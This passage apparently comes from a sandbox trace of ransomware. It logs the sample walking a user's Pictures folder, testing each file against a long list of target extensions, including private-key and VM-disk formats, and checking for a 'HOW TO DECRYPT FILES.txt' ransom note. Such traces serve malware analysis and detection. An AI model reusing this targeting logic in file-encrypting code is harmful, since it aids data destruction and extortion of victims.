(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mpeg") returned 0 [0091.176] lstrlenA (lpString="*.mpeg") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.djvu") returned 0 [0091.176] lstrlenA (lpString="*.djvu") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.tiff") returned 0 [0091.176] lstrlenA (lpString="*.tiff") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.backup") returned 0 [0091.176] lstrlenA (lpString="*.backup") returned 8 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.pdf") returned 0 [0091.176] lstrlenA (lpString="*.pdf") returned 5 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.cert") returned 0 [0091.176] lstrlenA (lpString="*.cert") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.docm") returned 0 [0091.176] lstrlenA (lpString="*.docm") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.xlsm") returned 0 [0091.176] lstrlenA (lpString="*.xlsm") returned 6 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.dwg") returned 0 [0091.176] lstrlenA (lpString="*.dwg") returned 5 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.nd") returned 0 [0091.176] lstrlenA (lpString="*.nd") returned 4 [0091.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.tlg") returned 0 [0091.177] lstrlenA (lpString="*.tlg") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.lgb") returned 0 [0091.177] lstrlenA (lpString="*.lgb") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mov") returned 0 [0091.177] lstrlenA (lpString="*.mov") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.xdw") returned 0 [0091.177] lstrlenA (lpString="*.xdw") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.ods") returned 0 [0091.177] lstrlenA (lpString="*.ods") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.wav") returned 0 [0091.177] lstrlenA (lpString="*.wav") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.mp3") returned 0 [0091.177] lstrlenA (lpString="*.mp3") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.aiff") returned 0 [0091.177] lstrlenA (lpString="*.aiff") returned 6 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.flac") returned 0 [0091.177] lstrlenA (lpString="*.flac") returned 6 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.m4a") returned 0 [0091.177] lstrlenA (lpString="*.m4a") returned 5 [0091.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif", pszSpec="*.csv") returned 0 [0091.177] lstrlenA (lpString="*.csv") returned 5 [0091.177] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf1bdd0, ftCreationTime.dwHighDateTime=0x1d5d953, ftLastAccessTime.dwLowDateTime=0x4465d830, ftLastAccessTime.dwHighDateTime=0x1d5da7d, ftLastWriteTime.dwLowDateTime=0x4465d830, ftLastWriteTime.dwHighDateTime=0x1d5da7d, nFileSizeHigh=0x0, nFileSizeLow=0x179e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaBEOyyyfc6RvTzSrWV.bmp", cAlternateFileName="SABEOY~1.BMP")) returned 1 [0091.177] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.177] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SaBEOyyyfc6RvTzSrWV.bmp") returned -1 [0091.177] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SaBEOyyyfc6RvTzSrWV.bmp") returned -1 [0091.177] lstrcmpiA (lpString1="", lpString2="SaBEOyyyfc6RvTzSrWV.bmp") returned -1 [0091.177] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\s2cMaYbiwMQciCacEryd.gif") returned="s2cMaYbiwMQciCacEryd.gif" [0091.177] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.178] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.178] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.178] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0x20 [0091.178] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="SaBEOyyyfc6RvTzSrWV.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp" [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.ems") returned 0 [0091.178] lstrlenA (lpString="*.ems") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.db") returned 0 [0091.178] lstrlenA (lpString="*.db") returned 4 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.dbf") returned 0 [0091.178] lstrlenA (lpString="*.dbf") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.myox") returned 0 [0091.178] lstrlenA (lpString="*.myox") returned 6 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.myo") returned 0 [0091.178] lstrlenA (lpString="*.myo") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbw") returned 0 [0091.178] lstrlenA (lpString="*.qbw") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbb") returned 0 [0091.178] lstrlenA (lpString="*.qbb") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbm") returned 0 [0091.178] lstrlenA (lpString="*.qbm") returned 5 [0091.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbo") returned 0 [0091.178] lstrlenA (lpString="*.qbo") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbx") returned 0 [0091.179] lstrlenA (lpString="*.qbx") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qba") returned 0 [0091.179] lstrlenA (lpString="*.qba") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qby") returned 0 [0091.179] lstrlenA (lpString="*.qby") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qbj") returned 0 [0091.179] lstrlenA (lpString="*.qbj") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.ofx") returned 0 [0091.179] lstrlenA (lpString="*.ofx") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.qif") returned 0 [0091.179] lstrlenA (lpString="*.qif") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mye") returned 0 [0091.179] lstrlenA (lpString="*.mye") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mbox") returned 0 [0091.179] lstrlenA (lpString="*.mbox") returned 6 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.eml") returned 0 [0091.179] lstrlenA (lpString="*.eml") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.pst") returned 0 [0091.179] lstrlenA (lpString="*.pst") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.ost") returned 0 [0091.179] lstrlenA (lpString="*.ost") returned 5 [0091.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.idx") returned 0 [0091.180] lstrlenA (lpString="*.idx") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.dbx") returned 0 [0091.180] lstrlenA (lpString="*.dbx") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.sql") returned 0 [0091.180] lstrlenA (lpString="*.sql") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mdb") returned 0 [0091.180] lstrlenA (lpString="*.mdb") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.fdb") returned 0 [0091.180] lstrlenA (lpString="*.fdb") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.wab") returned 0 [0091.180] lstrlenA (lpString="*.wab") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.dat") returned 0 [0091.180] lstrlenA (lpString="*.dat") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.txt") returned 0 [0091.180] lstrlenA (lpString="*.txt") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.jpeg") returned 0 [0091.180] lstrlenA (lpString="*.jpeg") returned 6 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.jpg") returned 0 [0091.180] lstrlenA (lpString="*.jpg") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.png") returned 0 [0091.180] lstrlenA (lpString="*.png") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.php") returned 0 [0091.180] lstrlenA (lpString="*.php") returned 5 [0091.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.cs") returned 0 [0091.180] lstrlenA (lpString="*.cs") returned 4 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.cpp") returned 0 [0091.181] lstrlenA (lpString="*.cpp") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.rar") returned 0 [0091.181] lstrlenA (lpString="*.rar") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.zip") returned 0 [0091.181] lstrlenA (lpString="*.zip") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.html") returned 0 [0091.181] lstrlenA (lpString="*.html") returned 6 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.htm") returned 0 [0091.181] lstrlenA (lpString="*.htm") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.xlsx") returned 0 [0091.181] lstrlenA (lpString="*.xlsx") returned 6 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.xls") returned 0 [0091.181] lstrlenA (lpString="*.xls") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mp4") returned 0 [0091.181] lstrlenA (lpString="*.mp4") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.ppt") returned 0 [0091.181] lstrlenA (lpString="*.ppt") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.pptx") returned 0 [0091.181] lstrlenA (lpString="*.pptx") returned 6 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.doc") returned 0 [0091.181] lstrlenA (lpString="*.doc") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.dot") returned 0 [0091.181] lstrlenA (lpString="*.dot") returned 5 [0091.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.docx") returned 0 [0091.181] lstrlenA (lpString="*.docx") returned 6 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.7z") returned 0 [0091.182] lstrlenA (lpString="*.7z") returned 4 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.tar") returned 0 [0091.182] lstrlenA (lpString="*.tar") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.bz2") returned 0 [0091.182] lstrlenA (lpString="*.bz2") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.gz") returned 0 [0091.182] lstrlenA (lpString="*.gz") returned 4 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mkv") returned 0 [0091.182] lstrlenA (lpString="*.mkv") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.eml") returned 0 [0091.182] lstrlenA (lpString="*.eml") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.msg") returned 0 [0091.182] lstrlenA (lpString="*.msg") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.edb") returned 0 [0091.182] lstrlenA (lpString="*.edb") returned 5 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.accdb") returned 0 [0091.182] lstrlenA (lpString="*.accdb") returned 7 [0091.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.odb") returned 0 [0091.183] lstrlenA (lpString="*.odb") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.java") returned 0 [0091.183] lstrlenA (lpString="*.java") returned 6 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.asm") returned 0 [0091.183] lstrlenA (lpString="*.asm") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.pfx") returned 0 [0091.183] lstrlenA (lpString="*.pfx") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.pem") returned 0 [0091.183] lstrlenA (lpString="*.pem") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.p12") returned 0 [0091.183] lstrlenA (lpString="*.p12") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.gpg") returned 0 [0091.183] lstrlenA (lpString="*.gpg") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.vsd") returned 0 [0091.183] lstrlenA (lpString="*.vsd") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.odg") returned 0 [0091.183] lstrlenA (lpString="*.odg") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.raw") returned 0 [0091.183] lstrlenA (lpString="*.raw") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.nef") returned 0 [0091.183] lstrlenA (lpString="*.nef") returned 5 [0091.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.svg") returned 0 [0091.184] lstrlenA (lpString="*.svg") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.psd") returned 0 [0091.184] lstrlenA (lpString="*.psd") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.vmx") returned 0 [0091.184] lstrlenA (lpString="*.vmx") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.vmdk") returned 0 [0091.184] lstrlenA (lpString="*.vmdk") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.vdi") returned 0 [0091.184] lstrlenA (lpString="*.vdi") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.lay6") returned 0 [0091.184] lstrlenA (lpString="*.lay6") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mpeg") returned 0 [0091.184] lstrlenA (lpString="*.mpeg") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.djvu") returned 0 [0091.184] lstrlenA (lpString="*.djvu") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", 